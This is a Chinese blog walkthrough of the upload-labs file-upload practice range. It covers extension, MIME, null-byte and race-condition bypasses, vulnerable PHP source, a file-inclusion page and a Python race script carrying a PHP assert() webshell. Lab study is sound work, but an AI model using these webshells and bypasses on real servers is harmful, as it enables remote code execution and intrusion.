UploadLabs靶場

竹等寒發表於2024-05-14

目錄
  • Pass-01
  • Pass-02
  • Pass-03
  • Pass-04
  • Pass-05
  • Pass-06
  • Pass-07
  • Pass-08
  • Pass-09
  • Pass-10
  • Pass-11
  • Pass-12
  • Pass-13
  • Pass-14
  • Pass-15
  • Pass-16
  • Pass-17
  • Pass-18
  • Pass-19
  • Pass-20


都是鄙人做題思路記下來的一些心得筆記罷了。


Pass-01

先傳一個圖片過去,成功上傳。
image
嘗試傳muma過去,提示失敗,但是這個提示是在前端直接顯示出來的,好像並沒有傳送請求過去。
image
嘗試找到前端校驗程式碼,直接在開發者模式將其js呼叫的函式刪掉。
image
image
然後再次嘗試上傳木馬,上傳成功了
image
直接看服務端也是上傳成功了。
image

Pass-02

觀察前端也是有之前的第一關的前端校驗,刪除後直接嘗試上傳木馬。

發現上傳失敗。
image
image
可以看到前端程式碼我們透過了,但是後端可能又校驗沒有透過,所以抓包觀察一下。

  • 首先嚐試修改content-type是否能夠上傳過去。

    Content-Type: image/jpg
    image
    可以看得到還是失敗了。
    image
    可能jpg不行,那試試png?
    還真過去了!現在就是直接找到回顯的這個路徑直接連線就行了。因為這個回顯的路徑和檔名都是php,也能夠直接訪問,然後也被當成php執行了裡面的木馬程式碼。
    image

我很納悶為什麼jpg不行,難道jpg列入黑名單了?那就showcode看看

原來是jpg沒有進白名單,所以有時候多嘗試幾個mime頭還是OK的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '檔案型別不正確,請重新上傳!';
        }
    } else {
        $msg = UPLOAD_PATH.'資料夾不存在,請手工建立!';
    }
}

但是我仔細一想,發現要是我一開始就先嚐試看看哪種檔案能夠上傳成功那就和自己對著能夠上傳過去的檔案進行修改不就好了嗎?我重新嘗試了一下上傳jpg圖片看看是不是真的沒法上傳,但是意外上傳成功了!?
image
後面再另外上傳一個偽裝jpg一抓包發現,原來jpg圖片現在的mime頭都是JPEG了。。。。原來是我的問題。。。。
image

Pass-03

先傳一個帶木馬的jpg檔案看看過不過得去
image
正常過去了
image
看下該檔案路徑,使用時間戳進行更改名字。但是我們的web.jpg確實過去了,很有可能沒有對我內容進行檢查,所以我們要抓包在檔名處做文章。
image

  • 嘗試直接修改字尾名但是Content-Type為jpeg(失敗了)
    image
    image

  • 首先要理解服務端儲存檔名字路徑的方式,他是將.前面的全當成檔名然後用時間戳替換了,.後面符合過濾條件就使用不符合就不儲存返回錯誤提示。
    由於我們知道服務端是採用的apache,現在有如下幾種手段

    • 賭一下運維人員配置不當,存在php3,php7等等也當做php檔案執行了。
      (當然這一關就是這個答案,但是需要我們手動配置好)
      在http.d檔案中:AddType application/x-httpd-php .php .phtml .php5

    • 雙寫(肯定不行,因為直接給php攔下來了,不然的話就會變成沒有字尾名的時間戳檔名的檔案)

    • 嘗試xx.php . 或者 xx.php. .,但是都不行,因為服務端會把最後一個點的前面都當成檔名用時間戳替換掉,那麼你的filename就會成為: 時間戳.

    • 大小寫混合 (失敗)

    • 雙寫
      成功但字尾名沒有被替換,依舊是失敗了。
      image

    • ::DATA(可能可以,因為windows剛好是服務端使用的系統)

    • 冒號: 二次傳輸(同理或許能行得通,因為也是針對windows系統)

    • .htaccess(試過了也失敗了)

  • 上傳php5字尾名,上傳成功,根據回顯路徑訪問檔案。
    image
    image
    image

  • 但是在訪問的時候發現版本也是一個問題,如圖所示,只有非nts版本的才能夠在我們http.d下新增的字尾名能夠被執行,其他都是直接下載而不是執行。(當然都是在http.d下天了php5字尾名的了,只是效果不同而已)
    下面的5.5.38由於我在windowsserver2003中,他不支援就切不了。
    image

  • 重新傳送一下木馬
    image
    直接訪問看看,訪問成功了。終於結束了這場鬧劇。。。。
    image

Pass-04

傳一個木馬圖片過去看看什麼情況,發現檔名沒有改,然後也沒有校驗檔案的內容
image
image
嘗試::$DATA看看不行不

::$DATA失敗
image
嘗試windows的其他特性

  • xx.php .

    失敗
    image

  • xx.php. .
    成功了!!!!!!!!!!!!!但是回顯是1.php.,但是沒有關係,因為windows特性是不會讓檔名最後一個字元是.的,所以我們接訪問1.php即可
    image
    image
    使用蟻劍連線成功
    image

  • xx.php:.jpg(這裡需要二次傳輸)

    • 第一次:(成功了!!!!!!!!!!)
      傳過去但是該檔案沒有內容,第一次的作用就是建立一個檔案。
      image
      可以看到服務端的這個檔案也是0kb
      image
    • 第二次:作用是傳輸檔案內容進去
      這裡注意傳的檔名是1.<<,<<是追加符號,把內容追加到檔名為1的檔案中去
      image
      看到路徑是1.<<,但是沒關係,接著看後面
      image
      我們現在嘗試著連線一下1.php,同樣是成功了!!!!!!!!!!!!
      image
      回到伺服器看看怎麼個事。
      果然成功將內容輸入進去了,不再是0kb內容。而且裡面的內容就是我們要的
      image

Pass-05

老規傳一個木馬圖片看看怎麼個事
image
正常傳過去了,但是又是那一招使用時間戳把我檔案重新命名了。
那這樣先傳一個php檔案抓包看看
image
直接過去肯定被攔下來了
image
現在有如下幾個思路

  • 修改Content-Type (失敗)

  • 修改Content-Type 和 新增檔案頭,比如GIF89A (失敗)

  • windows特性

    • xx.php. (失敗)

    • xx.php. . (成功!!!!!!!!)
      image
      注意了,我這裡圈出來了我之前使用過的方法比如Content-type還是gif和檔案內容中也有gif的標準頭,這是因為防範一下,不然剛好服務端都考慮了這兩個,不然我就吃虧了,明明一個漏洞能夠找到,但就是因為你沒有考慮到這種組合的情況就錯失了。
      但是!!!!!!!!回去一看訪問路徑,慘遭滑鐵盧。。。。。居然還是那一招,最後一個.號前面全部使用時間戳命名了。。
      image

再次思考一下我還有什麼辦法??

  • ::$DATA (失敗)

  • .htaccess (還是失敗)

    image
    image

  • 冒號:
    (也是失敗了)
    image
    image

  • 啊難道沒有辦法了嗎!!!!!!????
    思考了一下還能使用啥??

  • 雙寫繞過,感覺不太靠譜,試一試
    image
    是過去了但是字尾名沒有被替換,所以還是不行
    image

  • 大小寫混合使用???試一試??
    image
    啊???還真過了啊,當真是兵不厭詐。。。。然後連線了一下還真是連線成功了的。。。。
    image
    image

Pass-06

老規矩上來就上傳一個木馬圖片,成功了,但是依舊是熟悉的時間戳
image
直接上傳php木馬檔案肯定是不允許的,這裡就不演示了。
按照我們的經驗,以下是我實驗的順序

  • 大小寫混合(失敗)

  • 雙寫 (失敗)

  • windows特性

    • xx.php .

      成功了。。。這麼簡單嗎???試試連線一下也OK了,但是我不甘心,我要繼續測試看其他方式行不行
      image
      image

      • xx.php. .
        失敗
        image
      • xx.php::$DATA
        失敗
        image
      • xx.php:.jpg
        失敗
        image
  • 既然重新命名了我們的.htaccess也上傳不了(試過了,失敗)

那就是一個xx.php .利用windows特性上傳成功併成功解析木馬。
檢視原始碼發現原來如此,先是刪除了末尾的點,然後變成xx.php後,strrchr就找到最後一個點然後該點後面的作為字尾名,那就是.php作為字尾名了。但是和第三關不一樣的是因為這裡沒有將空格去掉,第三關有一個函式是: $file_name = trim($_FILES['upload_file']['name']);,所以我們的windows特性都利用失敗了,只能夠說透過嘗試同字尾名來測試是否有運維人員的配置不當來繞過。
image

Pass-07

先傳一個帶馬圖片過去,上傳成功
image
現在開始傳php木馬檔案過去
嘗試直接使用windows的特性

  • xx.php .
    居然一下子就上傳成功了
    image
    同時也連線成功
    image

Pass-08

木馬圖片傳過去,發現使用了老朋友時間戳重新命名了檔案。
image
由於是知道伺服器使用的是windows系統,所以結合該系統特性

  • xx.php .

    失敗

  • xx.php. .

    失敗
    image

  • xx.php::$DATA
    成功了
    image
    過去後是這樣的路徑,不過沒關係,在windows下就只剩下php字尾名了,按照回顯的檔名進行訪問即可。
    image
    連線成功
    image

  • xx.php:.jpg
    失敗
    image

Pass-09

上傳木馬圖片,成功上傳。並且我們的檔名沒有改變。
image
先修改一下Content-type,然後也是意料之中被攔截了。
image
在此基礎上利用apache的漏洞

  • 首先不是2.2版本一下,排除xx.php.php123字尾名解析漏洞

  • 運維人員配置不當存在可解析的字尾名。(php1,php2,php3,php4....)

    已嘗試:失敗了

  • 上傳.htaccess檔案,這個因為我們上傳的檔案沒有被改掉名字,所以是可以嘗試使用.htaccess檔案

    居然也失敗了,是直接被列入黑名單了。
    image

  • 利用windows的其他特性

    • xx.php .
      失敗
    • xx.php. .
      成功了居然,那就嘗試連線一下。
      image
      同樣連線成功了。
      image
  • xx.php::$DATA
    失敗

  • xx.php:.jpg
    成功!!!!!
    image
    進行二次輸入,也成了,那我們嘗試連線一下
    image
    連線也成功了!!!(說明,1.php我是在伺服器刪除了才使用這個方式上傳過去的,所以這個1.php就是使用windows的:.jpg方式二次傳輸過去的)
    image

Pass-10

上傳一個木馬圖片,回顯名字發現沒有被修改,那就代表沒有對檔案內容進行檢查。
image
上傳木馬php檔案,抓包修改資料包
先修改一下content-type看看是否能夠直接過去。
image
奇怪的就是我們的php不見了,到這裡一想就想到了其實是替換掉了我們的php,我麼使用雙寫或許就繞過了。
使用雙寫:成功繞過
image
成功連線上木馬
image

Pass-11

上傳一個木馬圖片,上傳成功,那就代表沒有對內容進行檢查,還發現用了時間戳修改檔名字。
image
嘗試上傳php木馬

  • 首先嚐試抓包修改content-type
    意料之中,失敗了
  • windows特性利用
    • xx.php .
      失敗
    • xx.php. .
      失敗
    • xx.php::$DATA
      失敗
    • xx.php:.jpg
      成功上傳但是檔案字尾名沒有修改成功
      image
  • 雙寫
    失敗
  • 大小寫混合
    失敗
  • 那就結合apache漏洞的解析漏洞進行上傳
    • 上傳.htaccess檔案
      但是這裡使用了時間戳進行重新命名,所以也是失敗告終
    • 賭運維人員配置不當導致有檔案字尾名能夠當成php程式碼解析了。但是隻允許上傳這幾個檔案型別。也是失敗了。
      image
  • apache2.2版本的話還能上傳一個xx.php.jpg上去,但是我們就不是用的2.2

其實當我用出了雙寫和混合大小寫的時候就知道這題不簡單了,很有可能是時間競爭,這時候我show code一下。
好的打臉了,其實不是時間競爭,而是%00截斷


$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif型別檔案!";
    }
}

看來我還是太嫩了,漏了這一茬,其實我應該再細心一點,上傳一個圖片過去的時候就應該要發現了,這裡多了一個反斜槓。
image
還有一個線索就是我們的上傳路徑變成了
/uploadlabs/Pass-11/index.php?save_path=../upload/
這個就是典型的%00截斷啊,你小子這麼粗心這都沒發現!!!!因為看到能夠在客戶端中給出儲存的路徑的時候,我們就能夠透過我們自己給出的這個路徑將其截斷一下,剛好拿到這個save_path的時候我們就能夠透過%00將其截斷掉了!!!!!!!
image
OK那麼事已至此,塵埃落定,事實證明了我是個菜鳥,直面事實吧。
上傳一個php木馬,然後我們直接在save_path加上截斷就行
image
注意事項:nts版本上傳失敗(我這裡版本切換成了5.2.17),上傳的字尾名隨便,真正的檔名寫在%00前面,因為儲存檔名的路徑是使用save_path的,所以本質上這個漏洞就是判斷的是我們上傳的檔案的字尾名,然後需要儲存的路徑是get請求中帶過去,就是因為get這個url的目錄儲存路徑,導致目錄拼接我們的檔名的時候,我們給的目錄中有截斷字元,所以儲存下來的就是我們的save_path目錄中給出的檔名。

聽懂掌聲!

Pass-12

上傳一個帶木馬的圖片檔案,發現成功上傳,代表沒有對內容進行檢查,檢查回顯的檔名路徑是是用來時間戳重新命名了。
image
上傳木馬,抓包發現post資料包中發現有save_path在裡面,我們就應該要立刻反映出來能夠進行%00截斷,因為是在客戶端給出的引數中取出儲存的路徑這個漏洞必定有%00截斷。
image
修改資料包將其截斷,當然我們filename不能是.php字尾名,我們需要過了校驗,所以使用jpg或者gif等等都無所謂,這裡只是為了過後端校驗罷了,我們真正儲存的名字是save_path透過%00截斷將其截斷出來我們要儲存的檔名而已,%00能夠在拼接的時候截斷掉後面的filename將會失效。

但是!!!!!!!!!!!!!!!!注意,這裡使用的是post資料,我們%00只是在get的url中能夠使用,我們%00對應的就是00,所以我們post作為正常資料的截斷需要修改十六進位制資料,而%00對應的十六進位制資料是0x00,這就很容易了。

比如save_path=../upload/隨便.php空格 ,在最後多加了一個空格,然後抓包修改的時候找到空格的十六進位制將其修改為00就行,我們知道空格對應的十六進位制是0x20,所以找的時候也方便,同時也讓空格先佔一個位置,修改的時候直接修改那個位置就行。
image
如上圖所示,找到所在位置的十六進位制對應的空格,然後修改為00即可
image
然後直接傳送就行。(如果你burpsuite的字型是沒修改過的,或許你會看到你的空格會變成一個類似口的東西在字尾名後面。這樣也能夠驗證你修改成功了。)
image
連線一下suibian.php,成功連上。
image

Pass-13

上傳一個木馬圖片,發現被攔下來了,所以可以篤定肯定對我們的圖片內容進行檢查了。
image
思路:

  • 改content-type
  • 該檔案內容頭部
  • 既然該關卡中寫明瞭有檔案包含漏洞,那我們直接傳一個字尾名不是php的也是可以(包含的檔案都會被當成php執行)

沒想到改完後直接就過去了,甚至沒有對我的字尾名和content-type進行核對
image
現在的任務就是利用檔案包漏洞包含該路徑下的1.jpg木馬檔案

上傳過去後使用時間戳給我更改了名字而且連字尾名也改掉了,當真是無語,我給出的jpg字尾名看都不看。
image
那既然如此,在此關卡中給出的檔案包含漏洞處嘗試包含一下試試

這是檔案包含的漏洞程式碼
image

 <?php
/*
本頁面存在檔案包含漏洞,用於測試圖片馬是否能正常執行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

image
連線成功了。
image
這一關是檔案內容頭檢查,所以我們的內容中新增了GIF89A就能夠繞過。(程式碼中是讀取檔案的內容進行判讀型別)

這一關的原始碼如下:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2位元組
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "檔案未知,上傳失敗!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

Pass-14

上傳一個木馬圖片,發現對我的檔案內容進行檢查了
image
思路:

  • 改檔案content-type
  • 檔案內容頭部資料新增對應的content-type型別頭部
  • 上傳不是php的也行,因為檔案包含漏洞中包含的是php檔案,只要我們上傳檔案內容中包含了木馬程式碼即可。

上傳成功
image
看到檔案路徑我也是再次無語,同樣是和13關一樣,我的1.php字尾名看都不看,直接使用我的content-type型別拿來作為字尾名了
image
利用檔案包含漏洞包含該路徑下的檔案

這是檔案包含漏洞的程式碼
image

 <?php
/*
本頁面存在檔案包含漏洞,用於測試圖片馬是否能正常執行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

嘗試包含木馬圖片
image
嘗試連線木馬,也是連線成功了。
image
getimagesize函式解析

<?php
// 影像檔案的路徑
$filename = 'example.jpg';

// 獲取影像資訊
$imageinfo = getimagesize($filename);

if ($imageinfo !== false) {
    // 列印影像資訊
    echo "影像寬度: " . $imageinfo[0] . "<br>";
    echo "影像高度: " . $imageinfo[1] . "<br>";
    echo "影像型別: " . $imageinfo[2] . "<br>";
    echo "MIME 型別: " . $imageinfo['mime'] . "<br>";
} else {
    echo "無法獲取影像資訊。";
}
?>

image_type_to_extension函式解析,這一關的原始碼就是使用了上面函式返回的陣列中獲取下標為2的影像型別作為引數

<?php
// 影像型別
$imagetype = IMAGETYPE_JPEG;

// 獲取影像型別對應的副檔名(包含點)
$extension = image_type_to_extension($imagetype);
echo "副檔名(包含點):$extension<br>";

// 獲取影像型別對應的副檔名(不包含點)
$extension_without_dot = image_type_to_extension($imagetype, false);
echo "副檔名(不包含點):$extension_without_dot<br>";
?>

原始碼如下:

結合上面兩個函式的解析可以發現,這一關中其實也就是檢查檔案頭內容判斷檔案的型別,我也嘗試了修改各種檔案字尾名和修改各種content-type發現都改變不了字尾名,只要我們的檔案內容頭部是正確的都能夠透過校驗。

比如我資料包裡面檔案內容頭部一直都是GIF89A,然後無論我怎麼修改filename的字尾名還有修改content-type的型別都沒有任何影響,我的檔案照樣是按照gif的型別傳送過去了,然後回顯給我的檔案字尾名也是gif。

第13關也是一樣,只不過這一關中使用的是getimagesize來獲取圖片資訊,然後透過該陣列來獲取圖片的型別,13關只不過是透過讀取檔案內容來獲取圖片型別而已。有異曲同工之處。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "檔案未知,上傳失敗!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

Pass-15

這一關同14關操作。

Pass-16

這一關中比較總和,我們一個一個方法進行測試。

  • 傳輸一個圖片木馬,發現被攔下來,那就代表肯定是對我們的檔案內容進行檢查
    image
  • 抓包修改content-type和檔案頭內容
    出乎意料的居然沒有透過
    image

這時候應該思考的是我們的內容可能二次渲染了,這些二次渲染的函式會讀取我們的檔案內容然後根據內容重新生成圖片,如果生成成功那就存下來。(先不要考慮時間競爭問題)

  • 驗證是二次渲染和賭不被清空木馬程式碼的可能性

    我們要透過二次渲染的圖片就要使用圖片和木馬內容進行結合,目前有兩種辦法

    • 使用windows/linux的系統指令對正常的圖片檔案和木馬檔案進行合併
    windows的指令:copy /b 圖片.jpg+木馬.txt 目標.jpg   然後就透過上傳目標.jpg看看是否上傳成功
    
    linux就不演示了(因為我懶)
    
    • 使用特定的工具對圖片和木馬進行結合(這種方法可行性較高)

    在Vstart50中的工具:VStart50\tools\漏洞利用\edjpgcom圖片插入一句話工具\edjpgcom.exe
    以上的方式我已經測試了很多種,有的能夠傳過去,但是利用檔案包含漏洞包含解析的時候會報語法錯誤,只能夠說能夠上傳過去且保留下木馬程式碼的圖片叫做堅強的木馬。(只能說到這滲透勉強成功和結束了)

Pass-17

上傳一個圖片木馬,上傳成功,並沒有對檔案內容進行校驗,但是老樣子使用了時間戳重新命名。
image
思路:

  • 時間戳重新命名的話windows特性十有八九失敗,但還是要一試

    • xx.php .
    • xx.php. .
    • xx.php::$DATA
    • xx.php:.jpg
  • 沒有客戶端給出儲存路徑的引數,所以00截斷不行

  • 嘗試上傳php1/php2/php3等等字尾名(賭一下運維人員配置不當導致漏洞的發生)

  • apache上傳.htaccess也會失敗,因為重新命名的原因。2.2版本漏洞也不存在,使用的不再是該版本。

  • 找出檔案包含漏洞直接秒了,但是這一題不可以使用前面一題目的檔案包含進行作弊。

  • 雙寫和大小寫混合,實驗後同樣是失敗了。因為固定了字尾名允許的幾個圖片(jpg,png,gif)

  • 那就只剩下條件競爭了

    • 時間競爭

      這一關就是透過時間競爭,時間競爭比較容易成功,因為已經存進了伺服器中,只不過不透過伺服器校驗的話再刪除而已。

      所以只要能夠訪問成功一次我們上傳的程式碼檔案,能做什麼事情全看我們的程式碼寫的什麼。

      改程式碼可以是直接建立一個shell指令碼,然後後續直接訪問該建立出來的指令碼即可。

      具體步驟參考下面即可:

      第一種:使用burpsuite攻擊器來傳送大量的資料包(使用兩個攻擊器,一個傳送一個訪問)

      第二種:使用python的hackhttp模組

      #pip install hackhttp安裝hackhttp模組
      #!/usr/bin/env python
      # coding:utf-8
      
      
      import hackhttp
      from multiprocessing.dummy import Pool as ThreadPool
      def upload(lists):
      	hh = hackhttp.hackhttp()
      	raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
       Host: 127.0.0.1
       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 
      Firefox/49.0
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
       Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
       Accept-Encoding: gzip, deflate
       Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
       Cookie: pass=17
       Connection: close
       Upgrade-Insecure-Requests: 1
       Content-Type: multipart/form-data; boundary=--------------------------
      -6696274297634
       Content-Length: 341
      
       -----------------------------6696274297634
       Content-Disposition: form-data; name="upload_file"; filename="17.php"
       Content-Type: application/octet-stream
      
       <?php assert($_POST["LandGrey"])?>
       -----------------------------6696274297634
       Content-Disposition: form-data; name="submit"
      
       上傳
       -----------------------------6696274297634--
       """
      	 code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-/index.php',raw=raw)
      	 print(str(code) + "\r")
      
      #===========================================
      pool = ThreadPool(10)
      pool.map(upload, range(10000))
      pool.close()
      pool.join()
      
  • 重新命名競爭
    重新命名在18關

Pass-18

這一關是重新命名競爭。很容易復現。

首先說明,我使用的是5.2.17版本,直接就能夠解析這個.php.7z檔案

前提需要

  • 需要白名單內有.7z(注意是白名單為.7z,不要和下面搞混)
  • apache版本需要在2.x能解析.php.7z檔案。但是實測5.2.17也能夠解析.php.7z檔案(注意,是能夠解析.php.7z)
  • 使用burpsuite快速進行傳送資料包即可。如果手速不夠快直接使用burpsuite攻擊器進行攻擊。使用其他攻擊器也行。

下面演示使用burpsuite
image
可以看到直接成功了,根本沒有用到攻擊器(也有可能是我搭建的環境比較垃圾,刪除的比較慢,所以攻擊成功。)

但是注意,這裡是程式碼開了一個小玩笑,我們上傳的是1.php.7z,但是這裡卻是upload1.php.7z,很容易就想到是少了一個/導致路徑拼接成了upload1.php.7z,(原本應該是想傳到upload/1.php.7z)但是沒有關係,我們上傳成功了即可,現實中不會出現這種錯誤。
image
再次說明,我使用的是5.2.17版本,直接就能夠解析這個.php.7z檔案

所以現在嘗試使用蟻劍連線試試,成功了。
image

Pass-19

原理同Pass-11,上傳的檔名用0x00繞過。改成19.php【二進位制00】.1.jpg,這裡就不在演示了。

Pass-20

原始碼審計,源自CTF比賽的,由於實際工作中程式碼不可能都一樣,所以審計這裡就不寫了。